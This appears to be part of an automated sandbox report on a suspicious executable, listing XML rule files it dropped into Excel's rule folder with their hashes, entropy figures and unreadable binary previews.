Preview:	<?xml..`>>...U.5V2B..`3E......Q.....C.Zg..4..S...=.G.c....6.f.,6...=6==r.F\|N...w(...v}q..F.=D......c..A...."z-.V........}.8O.Tk...;q.....lA...T.....#L5on....if..L.....E.>.g1b@..z.a.M....d.}.8/.T.F.7.{.g...h.H'.........3.Z}B....uZy2....>A.Sgl.....1...X-..q../j....3m...8....VA."._o9)...m2D.X]...2@.+z?r kP.....5{...y....=..N...z.kc.iW.?....g(L...B.\|...I..w=..^..~.R.@LH;.....<S..I.&..z...F...OD...d\|...._..M...;.'.k......h.T..W.3..y.Y:]..........JB}0..b.8T.v...nZ.1..8..\|..P4Ki...^.........v....1@R..'..C.5....V...c...J-..^7WK.@O.4.8:.....5d.{...2...{,^.z.O".JmX....B+..5..<.kHs..GF....(..c...mQb..".?]_...p&.6..t.......4....8.B%v..q.!.. O.t,..#l....)..,c2.......=.p..j.o\r.....l62...5._......Go.E....&..L......IH..6....Um7......06..#..C..&E...]....}.@b({.5^..q..`..Q.lL..E.N4..<.4..<...C..E6.r.U..f..xx;.A.D...r([e......gl...x..F.N..\[...N4..j.W......._ ....Y[..x.C.y.ng...m.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.9088490352930165
Encrypted:	false
SSDEEP:	24:0zZWSTAdJAFgfekj8JHC3yvHPprbajBC8Ag9Ui52tIwlg/0VclMf4N4oPKF9k6o/:Q3mXQJHECHE88jt5Mww4N4Yl8IaiD
MD5:	1C5AEC06684746C3E3F8BFBDCCE4FB31
SHA1:	09B3E9533944A4697D043D1F7D7C4548023D511F
SHA-256:	6D9C258CD5D58CC676D800341688FB3BE680C79E278447195252CFF92AC45F30
SHA-512:	A1B6E0E85918B4157DAA2AC1A8D17D39E4300242644E98622D37F3C9F90B98903B366917BAEB258B8D7F1143432C3FF0FB390F48583E291A12B22158704D0459
Malicious:	false
Preview:	<?xml........j,..[.@}..!..%]..BZ....L.Tm.`..`M...;.'.w!}..`B.?H<2J....<...t.?..L.0p.j..\..\|...l....<`......}......,.9.....X.lv...L.U..,)...../.\..F=eWR..p.....K..n..4..k....pG~.....9.O{V......i=I..e.xu..8.n..2.O..<...-wv..U..z?s..bD9...&.k...:...#...D..f4IF.......'.h.9.....W.'.-.xQ....(e..@).m...../..q..B.......Ai.h..L..N.......\s....O...4n...wG......7...+..".wm.1.{$.S...._....H..Qa..=...z........s..........A2...\......6...zIv.\..5..#.k[..F.M..W.J....P.!8u..K.T...}.......2.z.........)......p.....'.5.a3.2L.._#{..r...UP...\|dG..._m.T(.\....#..y0..n'.R....uq.... ..9......m....g.-.U...L.>...$...J.9]...U....H..C...=..v...i..G..A..,..z}kn...:....R...@u0.1;6...-B.6..+1..=..Y.r.'M...G.m.x.........7/.!"S...{z.7F.]`.D.....b.3jm....<......e.....+~NbaRD.Xw..Y.x.g..>.U.A...z....O..'...K.-1..)...e.XW.&4...<..FXO.x...x...-!.;...<....;..`..[..EX.ypU....) .c.Yk..z.9..i....$....U.........:..T.M..$.*..A..qNE..._.......V....I..m...Q...2.a..h8`....K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.960897778307044
Encrypted:	false
SSDEEP:	96:zZONC8+IqqYJYOJhKBJpET57m7hx9u/7Cu/GtZ:zg7qBiOeRsK9O/UZ
MD5:	41CC8CBC6A23A27110081BAD735DDCF3
SHA1:	827022037D78F9FC8C1CDB950BA58BDA878785C4
SHA-256:	D43B77E67FC13765D67FB0C47C77F48FB0D17B592A54A756B769D83F1DDFB9E5
SHA-512:	6FEF39A535691266178142DF3A2BD2FD2FBCB9CCAD16262B46AE9E6CF34BA250BDBD50C6C83C99F5E84B146DF5E064672B4C6F7A47DDF96CD2CF0755C4376583
Malicious:	false
Preview:	<?xml'.w...V..j..w.2$.....h,.FASoxQ]..c2.4..{q!.......\|..`.ox!.......a^]8..].s..s.f....x..~.UV..........y.\|...K...sE....{..)<..X.....Sld.h.......Uk{a...&%!M.T/...pF..8A6#.SpI.........A".\|..;.O.P.`.......L\|.x!zH.....!..g..S...n....#G..k.s...e.@...7.+...X'..lXj.....t.m.LT....%NnO.].....u.m.4pW...H.t.......{wc'.2?......../.....M..lL.a..l...N.J..Z$.@...V........j.Z2....,..,t.eb..T.%....b3)..%..8....#..!..4..B..1y.......\E$.I.....:.O1..1....ck..W4.....+i}....p..i. VH^D.....}..uj......8>.yH-A\|.e.9S$.6.u1..'.Cf.T...w.@5...E.OU4.\._!.P.O.E!3....Y..Fk.#...mnw.P<.m-...$...D...Eb./.S..9.~..Q2.:.@..p.Q.6.3...D.a..:.,.........._.z..iv.~]K'...WK.6v.........MC1..@_.bW..+..........]X.5........5.K~.b.....Z#.......P^V.F..3........m..w..D.y.F.;6....[-...x.".!...... B......J.(....S....6..4...M....Cf...5}.%..2B..^...Q..vL.#~..+....O......U....O.KD_..}7GB.........:.)1!.7.\|..Sw..b.:.....9..1Q..US..^..._.vF;..\.U..r=w.n.7Or.Io..D...B.XF....._C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.8489709297356525
Encrypted:	false
SSDEEP:	48:FgU06A/NPhSqsqkwTTkR+nVR5LCQpOetZjFziD:Fgnl/NPhlVkeTxnVDCQpOerjFm
MD5:	3C4B0E0E87153CADF005F2100AA4A41C
SHA1:	EE521CA8F385D4DAE59C321EAD384E77E24324DF
SHA-256:	A8643C3775C45212D3607D4EC60EFBFF6F818952A108BDE26C7A86435147E9FD
SHA-512:	3BB707ABDE287DEF67ACD3323E7A129CA7B70AFF01E3F198BAB53CF9068AA68E412E5C2AE75F419C8242E822F11D7479D6BB3542756AE08A360873FDC1DB59BB
Malicious:	false
Preview:	<?xmlP..mC....6."...-...'.II.).)...g.....}...Q.0.0..%c...7..2.t..JwD.x.kC.^T......<...>..`.h.__.....]........N....#.E..:.P....a.#.....I./..F.\F......x..it._....}$...p.Z\...I.j.H..t...7....o{.F.......~@{d..I.Er..+.hY.M.#..B..{.........c..qP..:....c.J.q.db..{R...<h.x......O...^Be..7..a.-8.N....\%..>...K......mm..y......^e$bc.....:.k.."....v"..N.[.A.........V.S>".I.m..A8......D.?u......3.....&.].................6.e"..J..........r.o5..}.x8PA.}r.;~....4.?. .r ..#p..~.r.b..P.-.4T$..T.......`].I......'..x5Jb\|).2.?4.\..QB...mUd.B.F...m....~....h}SR..{&...L..L\..&.._....C....%...1qe3....:.U\..b@....o..r....d4.eA.....gE.^D6....\..}+...z+.N..l+.x...\..........).....=p..v<...W.....@..hW......K..O...agW..e...=q.=gDw.x.f..>JW.p.d.....z....(.....&A.l.yc..?...u._l...+...d.DsA....9...s...j..<....hT.#.d.u.P......tf.\|XZ.u..5....k.....>..}B.Cd.pj....,y........%.....=v...."=.@.}....N...H..8RE...#V%&#..q..Y.9.......&{3Q.-..1.F.9]k......./\1s....Z...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.887700924638308
Encrypted:	false
SSDEEP:	48:37WZPQiDArwrweZNmSrIJLXbqy2R4Aoh0N2KhpHt7SeiD:gArwvByLXbH2RtoaNfih
MD5:	3D3FD8138F3E962FF0D0222A1EF87F1B
SHA1:	8CA325087BC8E057E62F45D1CCF6DC657C6D99D1
SHA-256:	A1590C7FD329D6CA4012B850E939113382E74217F188819FF6030C5DAF9E2BFE
SHA-512:	020A49F6E71A583B6079A5F5EB940DC6A7F597902541DE9FDC1CADB2910546F14A17AD0DB99E1BB94673BE618D91A7A7030C1DDFC1270710E9D61A0ED74B3197
Malicious:	false
Preview:	<?xml..~......5.....v..Z.s.....f.).....1.Z(2...Z.^"..\..uZ.........\|..yx.E. ..q.....d..(....dh.h..<..I..K."..26\...u.HD...jo\|O..N.,..hn.T.B.....7.<..4..@..m\..>...$<].2X.&....2...s.V...J-....}7......M.U....).VU....n...Y.....8.@......,#\|PTm....7..C2.....8..!..;\.{%.!..E..o..>.U.o>.\.R....C................C.0p.!..D6...A1>.uL..N..Q3}...%...~.G.S=.O.......I......L...:.S.[Il..D.<.OeH....(T....>Fi...........3...].=..v.@..S.?...rv\|.H]iE.......{uimX..`'..]p.z........`..\..i.Q.S....6`...=...[.[.:.R..J...../V....c6.Y.).....<...u,xAm.1.k...%...y.?..HBzG\...H...5B-.m..G.^`.A.-.OR.>./.r_........(.ih%...\|.C.nR.%(.5jz..<..Zm.z..G\j{C>,...E..9..5.....62R#....o3...D..M....^+J.<.E.I..L.^...j...NoO...@FV18...(o..)...p.H..3.QE.~0.V6._..C>.nj(6.dl..5....x.M.....5.D..k"P..a..fo;<....U..Tn....s...\|.#rN..c.}..X.g.QnX<[_.{...?HW5'A...7...u.?...n.`..t._.....>...c.LB2...T).k...r..Pazh.....w..1c._;#G/.y..K>.ah!eH3Hf.m...R.P.9.p.2..5..1..f+$.)..E...#..D.......:.....+c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.932310011963623
Encrypted:	false
SSDEEP:	96:bJgCvNM6PKIuQug+5gWPx8S7WpcANvlVkz:btNduQuzPx6pTVkz
MD5:	6505106ADA8F89BCC8F5FA22F9A23B13
SHA1:	CE255037AF5A4BA35BFD1A0F0F1F98D7CE4BC7A2
SHA-256:	21352CCE67E7B96685DFBDF46E0C283D397F5486C69AE35FA504E3B105C36C0D
SHA-512:	5437A1446AF786AF90026B902038EDFBD633B150180A702151623A07DB17304E3B3C7BD9ED7B1688FCCD4BCECD228C2AEE9110AE670D11661F73A634589BAE4F
Malicious:	false
Preview:	<?xml...jU.W..B.t..~.y...u.....;.F.,..,.t...M.i&.%.....i...<................-.{....Gd. .U!.T.h.G.!4.aT0,8;...b+8......{...x....o..}.@...\|.....>W...u......J7m@G...'.....M..M...............~.;.,...A.K7Q.h.$..........I..].#.(....!....x.H.}kj......A+.2g..#..R.0.......\..[.'G.I....#^..ZP'..Iv...l..b..5C.jy..\|.k..D.~..}.......q.k2n2]..!.....pb 8..-&.[\....nN3...z..h_L.._W..I..M...3......0;."..O..X.N:y.>..bgY...Y.......O!....v.]..R.......n...V..yc.)...w.n.y.."Rc.+.#.4...(....uq~...b..6Y......,..m.....;.....g.C..qU.+Tp!.$n........I..-T!O..'{.>{Q........M/.J}?.8L.......# .u.n...z....Y.oR.K...Z`..>..F..Q3i.O...}...\..M..;ez...c...D.>.7vY......e/...{.H..s].-L.rg..q.R....Lw..o.u...].LzJ..........o...Y.......w..98......`q=A...4xZG.cp.,\|.`.]wJ..96.~!j.T....8$...G......N.$.U..s.G.</.b....o.~....,.Z".G.6...._V....O...Y8+...~...`y]..~.yi.Iq..(Uu........K.....XP.3..,C...u.X%.zQ......4".H%`.9.-.2......(.....c hU.e.:a_.wn.P6....V...tl..s....!.B.a...Y.-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.7882070979570415
Encrypted:	false
SSDEEP:	24:GB4A0wYbQ6mdIBQW1AtWg9pbc2PUkM4Og1IlraD6yHm906ViTkbD:GB4V5bQ6R/1AtTpgNkp71YQ6yHmutiD
MD5:	CEE8A0758AE47216587E859AF09A4201
SHA1:	87D726ADA979A61C883D1F05C8A4DC9229B11C8B
SHA-256:	ABCEE86839C8B86C3BDCB67516764747EBEBD162C20DB6FDDF21304927C9A875
SHA-512:	6B5851CD15764DEF7BC5A100CB84F149B3508005D983C35A3FF31B4B1EACBBED70F787B5E867418D53A0D8D1847D2AA151037806FABEC3CA320D5B35851A5056
Malicious:	false
Preview:	<?xml...u.ED.^....H.'.{......9.I^%.[..Z.z_.&....!..X9...'B........8.......e...{.J,...u\|._^x_.GD&1.;tk....I.....:........%k.ES.~..-.K..8(.1.-B.,.....P...(Y.........j-...}.N.a../.....u:.Y...).2..:..<L}07K.u.V.2.~....S(.......8M.v2.Q.......I..\<..i."...P:.D.....&}W...e..,..............d.....1...b......{>.A..\|ka....y.?.....0.....b.i.(..&PH,\.i1Z+.sR.~#.......lq9z..qI[b}h.I3..($..s.l....t......'>x8V.M......5.....52..0..G-L..<d.q.....zU.!H.=.ks9=.XX...z.z.^i..6X.p..\|..o;r"a6....Bc......z..{M.%.y.v+.m<"......%..L.l..lR.a..F..O=...C.O...g...Y:fB..,..\|.6]wX.....K.CR.b.(..S.F......Q,p;bbK....^.WUbf.t.Ig......}!.UR@..o.K.U...YK`.3.S.aR./..49......:..q...}.Q.7..[.H>...*.//......\|(.s..M.s.4...e.,.!.....~0.).i.}.d%..OQ..../g...C...[...S..>.s{s.y1O.....oikD.PtU..Y...t..w.?..?..;<.IF..r...[.n.h.a.q%L.!.i.Uhx.......-.....La..x..<@..~.u).If....'ie...'fP.T..j........k......9.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.922263528421235
Encrypted:	false
SSDEEP:	48:SD5VExCzmX8yH25qIpKrcKkcqDOOCHDtRdWqvhPXIDkep8JBeGg9fhAPZJOiD:EcIzS822oCKT+DOfHFb5Ah8JUGa4N
MD5:	C65E6CBD545DDF3B3A297D6251991ED7
SHA1:	1AD6B7B64C3AA607C58CEE7A5B22C0A756EC5896
SHA-256:	D047BEDF2C83E3352AB09B5650B1C695E91BC8506EB4498EDA8D368043E93B75
SHA-512:	62E38C0DAC005A23442DC0887BB9951266F507155FDAA629C558931A1DEEE5C74411B8DCB75C1C83EDE4F1744164C6881BD2C6BC654664BF7852417A13F5E2D0
Malicious:	false
Preview:	<?xml.LJ.. Y.B.i.oZ?Z.J...B...>..\s.^.g8pn0..].<.......).....R.b.....(A..L.. ).u.....o..W....... ..#-#d.PTzu4.>.!.p.-+..P.`...=B..... ..H..qc!.\.....\|+.pVb......w.X.....>.^...A.0.Q.f$W+..?..!.^.......P.`.C...&##.P.G.C.R/L;.J...5NlS=..&...\|...H.rJ.T..g.K.-....S5..K@.<..j.EL.{=g...B.WYE.V..3=...',$..0....;.....RK....gkO,.c_Oyazy..z...J....maz7.!`...Vv..z.=:^w..c.z.?@..=..SF...Q+t.P.~..Y2s@........X3y....{......k./.m..e...Y(gt..Ls..S9..N.._..8AC. ....sO........7.G.`..E..!.l^...F.m.+....p.B.......}...`...\<n..c.....g..Q..pi.{(y.P?}......JkN..v.J\|....z.d...'..r.....s..\.\|A?...9.........F.fT..m.e..(..X]......!.h..8:......T..A.d....t...0a....D.W..K..r.Cc..sO..].S......U......\a_G....EV.i..Y.P.....TM.>.(d.K4..C..F..'@r......3.{...U.C...Q.M.F.D..R...\..(...\|4.S.R..O...@=rBU.Ql..0.I,s..H.[........(..h..o..e$[-.i....b0.\|v.......u.-.=w.}F.'. Z.]B?..Lp..j.HN8..y ........o.A,f......N}.p.3H.....q=.d.)O...t,`.M.......1?.#...k.~.[6....Ys.H,.Qb....o..d7..S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.93507722809306
Encrypted:	false
SSDEEP:	96:yOxNvO9Bb/jLO97hsetaaUHSpnV6CesnC2ak:RxN6/ji9hsOV6t2T
MD5:	309E0D376C83A52B27B13E9ACB2ED420
SHA1:	A7D4787033DB5806E965EC57375696E27E24A61F
SHA-256:	340707F0D475AE5F2FB591F5D148A88336D77A0CE954A7138806B6F1FEBC6A1D
SHA-512:	203110EE66AFF226F85B452BC919C5C3C201F713080D22FE4CC55BC4D14B48B01EAB266BE0C3B830987D897E4650B04D0C651E44F14CA3F4EB6B5DCEDAF5D35A
Malicious:	false
Preview:	<?xml...1^P..!4.R}H..A.(.Z@[.0....9.U.w.>u.&2.96]....'....bM...].=((.o...x..sb._..a6..fh.1Z=...['.......\|.....Y.M6..M.^..c#..say..\.2.5.^..).<...mbq.>....iZH.k...\|)..2:,.H.v}.?..C...I...u.).H.lb.S...3v.C..._}O.............1yx.).G..~..uy..o....f..o....y.4..>.q>..."v2............0..S.....nk......Wf.}5.%.l....i..+.u...F%.-..."..6}..;NO.zk#...w.~.R...........H../\|"?...1..V..2:p9.U].a...g.7/f......J..3:.hY...X.SvKY.].........]..?..4m.6^)._{Se.6..qx.7...p..&.e.{.[8.t....S.E.u.;.....'..>4...s\T..DD.o.6.mL.&.D..X!...AB.....`..t.......A..I..J.,T..K.2.zT...$.T..3(.....l..{.2.a...'...T+..\|...$.=...m..6...I...[4.V..n...7.VH\..O?m;b..(D..."......o..T.YZ.G..Ge...bv5.;..`"..R.>....i....$<.#....h...xAo.-?..0..[."J......].w0...c.Q.3....e....C......@.n..j..z.....M50:..J..@."...0.'..{L(.._.=.Q.....D.sM.6..{......4..>. p......qy....nfT..irQ.:.......s.~g..g.........@.r....... N_jfo...*..X......]-..)...#./..#\..\|._Ck3.i.....+.lP.G........Az%E..ajY....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.922759168327005
Encrypted:	false
SSDEEP:	48:8BcBBSn7H291wICLxpMDgxJVvKkXV4rPySSWGAo3NK8XdKRdiD:8BcB867u68x3iMVGyKo9KKc8
MD5:	8E6AB4AB240D23E8353CFC21634FE3F6
SHA1:	55691C11AD92717126B7652E7F865E4C14650B95
SHA-256:	50DDF8244AFF6BB83532086B66C88DCE159A507066BD63CD20DF1D698DD8C525
SHA-512:	C7C0EA74336B637102B26E7F250B94ADA661211069D5FD6FAB2FFBD4E39C130C0DDA2BC0046D2E3090B581A3F5F5DA2328FB2420CAFCDA4EC4EC645E44283CFF
Malicious:	false
Preview:	<?xmlc.Hu.6v[.......yV=...}...P`)k%'...:E..r ..j.:.....C.....!....d.<...........?..R.\..$....(VJ`..R.... '...+M@.f\.2> .......M..E....F....J..9.Q.P..O_........n.T.if3Q.."../8.hO g.....Q..l..,.;D@.row....`......}.....z.........z.4.K.r...I..A..{.m.?g7l.Bu.1X./E..H4.z..J...r...W!X...%...M.{...$....].......>=u.&..E.R.q. )U.>.........e.V....BO.&..H..PT..~.(.B..I.....S. NH.9.A.#gA@F8.:..._..._<..H.Q....t=6....8z......^J....{.d.,.d...y.z\..u.i.........}.m....JK.~..$.f..e..........e....1.kR....+[8...PzY\Y...:.Q,~....[.0-.M.Fg.N.n.B..2.jgn!....V..9....]...`.ivq.a.~..9.R..m....../.\|B.....T.3.U.!....jR..9I.8....\|$...R....Tx......6...>.tI.......-m...C.aY.s.S...d.......yd...A=.o3f.]F....[.r.`P.........6...s.O)...Q,.....wK....r.U68......~..*G....x."I\G.[T....`..9.....s.i..lRNKEL...p...,l4... ..I..#...u.UF..H..R.v.....od.6d$.a5s..Yv.N. ..5^H..-"N...X..s..eAr..2.....4J...q..k)^.....E.....~..q..}.V...,.:.d.x.A).N.0...K.......x.V.....=.,N=....D.^Q.@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.818927536226437
Encrypted:	false
SSDEEP:	24:baX4hU+MOYNhlK6PKExxDUlw516C5srr4R5NLcruehhS1vbDbWfiTkbD:bPhUGYN/5Bp5pGX4LcLb0jDbW6iD
MD5:	321C2C7C77DCC7FD4D54C1F36B9FDB8E
SHA1:	A4896DE1A6B21431166C0530FDB824C856F21A7B
SHA-256:	9CF07D3A792323925A6507D13B567B09F93AB7D888DE8A79918F46CC6C2433EC
SHA-512:	02854411A37B6383CAB63223B3E934238DFE98ED610E86C5FD2D1EABA8CA72DCD46950D498C96EEA7364B17801DD4F68F759712747F893BF4E93328558D0CA26
Malicious:	false
Preview:	<?xml.p......4.).m..".]...V6.i_9.1r....Z.%.V.Nw]T..[...2,r.<...].W.Zd.....'.b.w..rX...q.e..9>....=...m....MY.;..B...}.6..%..(.$..B..PRh......3..7B.9.....E.C.._.?.9LLx?...zlD....dfK....u.C...nK&. ..>.x.L)..c.n.f.2.6'.#D...#.g......\|..v1..j...M.....4'.[.Sf...?2Jc..yQ;..<....._<O.QY...~t......5OY)..j.P.V...P).5..........uB=.EjF...Y...Q...%w..bPo..8...X(.$..eX.'[.4.p.G<.b....u...:.>...Pj;.Y...u.\...c.=_.#.._Js..).L.+.K.I.s.1.=R.....(.-....W.m.~\..Jy..-)v..^2?.k..=w........jO.=y..0..D @..\..~7.<........K`.e\|?..YX..((....b+..9.4m.....U..i.....~.mG..0~D\....\|b.[.w.X...o..1; .b0......;.K.Q.l.x...#..3W.K.T.D.$.m...GeF.m...b.qZ...r.L..R_.>k....fw........YH.r..."..Eh.[.U......J3XnA.n.X.M.\.u...>..E.}...q...{.;..=.yu%j.:..\.'....6.6.Z. ..It.H.x.......Q.ZR.M..e...tBZ....{. .?q...?..6..3.\a..G..S.......`.O....n.....i..t4..T...;U\....."c...c..^#_.}..s7W.\..n.).H.x.8G..I9..\|.:.Pb.a.Y.`....o.....b..:..g....[......\.......3...i.x........i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.758242278780593
Encrypted:	false
SSDEEP:	24:eDTxOHHtme4iwPTIR2L6OirdydbR7KF+UCYsc7FwMiTkbD:oOHNmDiocR2LFirdyxVhUCaCiD
MD5:	B73BA0538B3018985A13A289CAC3D0BF
SHA1:	64501E511A3C8E22F0AAA187BCB1F608B49BF47D
SHA-256:	0EA0B54A64E9B23C0F95EFD91878FDEC18EAEA18288585FA370598449EAFE925
SHA-512:	74ADA428BB86776E845C3C049C5744419DF7288C5F1F31B15F22CDA6CC912EC666DB82C5D469DE6E79293E6D6E64FF02FDC0594B42FDF518DBD2F31731A29717
Malicious:	false
Preview:	<?xml./...'.w.......#6..u&..........D.....R^........O._..1].i......GE.\|t..Sk..#..oYyg..3(.L...k4..x"....K.[......C..%..........0...o\|........3D...{...rN.-..<..WX.!x...&.3V.5.V.V.....W"~fkr=:....H..+E&.:....A..../.7.).?...f........H.O;7.....7LC...Z..w.E$q..ws.`p.J..V..m:F.[E..y..%...B.4.z.%..z\.".uJ/^.QP.Px[2\|.#.K...Y.i..yL.l...9.>.y...&lC...a.../......N.9.".2....\.4.T9.#A"5..;s^w....o......\.1...] ...9s..q.....kf\|.a......<.s.....;%.I.q...i^x.[...Vq..%<....Xe.n$B...>............v.ht...T.....H..C.{.....].?Z%R...7.3).N.....,..n..1p..N.u9..4. b#Ec.{..`8.w@..C..}R$..)...k:}..Q<.W.......Z..T.D...B...8..VOy.....{.k...&.\.+....aVt5.3....'.0...R.q..7.W!N.RH.+5*..........J.)q......c_.W.h.T.....^.;H.\|K...H....\.sa........l..Vz..v.VS............x.b.Ob...D@.#Y.n=....BD.\|.Jn.;..%...4.w.6..R4r...L..:co....=...d-.)\.....&;<.^E.8e..=k..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.776523548160161
Encrypted:	false
SSDEEP:	24:apPoRmna5ouoU11obdid/L6bQ13MNwu0V94u/ROxTptAbnkqtuZDriTkbD:sP5nEvoU11IgT623MNwj9lURp+3iD
MD5:	28431A51CCB3E67B065534D0F48E73B6
SHA1:	2594B494CDA4A884E33483698B83A08DAD76F58C
SHA-256:	BF429CBEFD46A29B0DAC004073063149B27AAD383B8BCC114449320257D4F0A1
SHA-512:	D2B9166D66502D54E720BD4E2020B96C38F4DE85C5126345877AA648F92D1F0F81C8F864C4609DDEEFA6885E5D70B9A2AFC26D6FE3F4373E0A09791A3A813FE0
Malicious:	false
Preview:	<?xml.S@.C$.O.6...6....m.v.4..............K..G..s..-....".].Pf..[..;.PQ..4&f....i.=a.3.yF....jx~'.l.......2.[......J...t..F..A....d.....@..'.....v.0ZEp.m{."`)....I/B.?NF-.g/..../.J1.(...t&.+f....uW..mI.\|...@.B..&F&.].gd.L...,....l..H.b.t9.......Ku.ncX..;.v".mE.t...[.!.8%.b..Hi.x.........1.7T...A..O.=..D...X.l..CD...g..+t2#,{....uSVA..F..,....`9.F+q t!.$.4.{.G.....JZl;^.-<..z.W/.N).YC..E...@F.gJC..G.M..p...yV..`. `o^..m$+qZ..b..,\|..Y......Z..N.v...f/<...y.s._......L.V ]Z.m.....P.n....}.Q`m....\.NJ).s....Wo6.+..'.q,gy-!...i'j.g..X.1t>.O....c9~./.7G.k7.u....VKf....-..8{..e\k.1....fH' ..=Q.eu.U....jHc........66V.9...I..j..>0/..a....^gk. hp......x....m$]6.1.s..q.'..Z.jcqI%..i...5.;).6W...^..3G...'.K...g.......I....T>r.....G.X.....Y+.K.......`....r....W..k.kC..E(..... .-^KA!u........k$...'......zb.B..+.....H>...Gxy..[@.z...#I-.!,..r............"K..pH...P.q...YE[.../.Rgy...$"0.0Aw\|._"...i6.....8U.{..=.I.F.~.u9..<j....G..i..%........K..dx).(.1...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.827511268500969
Encrypted:	false
SSDEEP:	24:CoNs7U1HVnKw7UwQCv3HIlFsd3Gmqtc04H/UPXn7OIOkEiTkbD:rs7sdywQCfouGjhq/Ufn7BLiD
MD5:	F4E1800CE2B4994E0193258C10DDC9F9
SHA1:	23397A6DF54FA41C866A8F523E1DF6C3B1DB70CD
SHA-256:	901B97B53F0BDFCB54CDD90BA87F7B7C413F20B0383EB71ADE61E028B015F12B
SHA-512:	59198A2253C5DBDC363B465B8A83BFCE997F819EFCE42EAD78C9D2744A8B8A424130B23F4C3C5EA38818416D7F84871F843E75A7FDE9F0CD01CF980433F42C33
Malicious:	false
Preview:	<?xml..._yfC.nr..0..w^7.1.5....^1]..d(..W9z....<...~......._g...=.....{Xy.,...W..F.Fi,.3iA.'.v:..Y.F........w(K..%J#o...C.0...2I.08.W......I.......AO<c..f;....h.D^u.uq.X{`...V.1....N....2..3......o......,N.t.U.`Y.......S.6....f:Qx0.i..<..-.F.....U..J....{...z^9...".&l.'-e...=;...!.........8.V....C..[.e..Q.....Q......K.y5.W..3"6.p...7...F@T.o<....\...b..+.D{.R}.......U.,>24.`_...$..Q.`E..L)\T.........o....9..P.A..p...?.#.%..?..uY$..,...Ul9...S......4L...)V.R...J..=...A...s.....y......g...R.._W.U...0../n...uG"<........~...F....?^...#...Is.\|.MR.`..;i...m.%.<.T.U.s".\|o..:5&......?..W.....,Z.....f...,......c....;.9qE.....z.~.K3...gd.....>C....(e..:.j.y..8..O.W....~b.).p.[U..<...'..b.H....`....:...1jTo.g+.P.L..M...m.[.`Nc%B..$....$..".c'gp..Ul.....0.....d.....]..Sh9.I)..`.....r..~.$.1..+8...9.0 .T.;b)y.V(0i...i.$..a_.~,..Z.E&..3.B.._.`...O.[.\|..N9....~.3.[{..K.m.\...]b.......-._.....m..1T1.n.. .....yo#\...b...`g@Pn...H...W..E...x7&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.935276612858602
Encrypted:	false
SSDEEP:	96:SszIsJ+uVYqJn1S37f04aJniKaWoF8Z5Ty:XcsguAaJni3WGoy
MD5:	B376954353A2C201EA4AFC7764842E97
SHA1:	76098F68DEF78791E1CAC27E6CA8F88FF14F21F0
SHA-256:	31DDE057031248A7F73F8435E14586616716356CCE71DB267F616127E99806FC
SHA-512:	82D8CAC3CC58F8374AF8C0D297EE8FBB068958F90ABBB141B54191B74D5D418AAEE9D2014B00B446EDE60356E20BFF0CF6F99911B578C5E3A308260672BA34F0
Malicious:	false
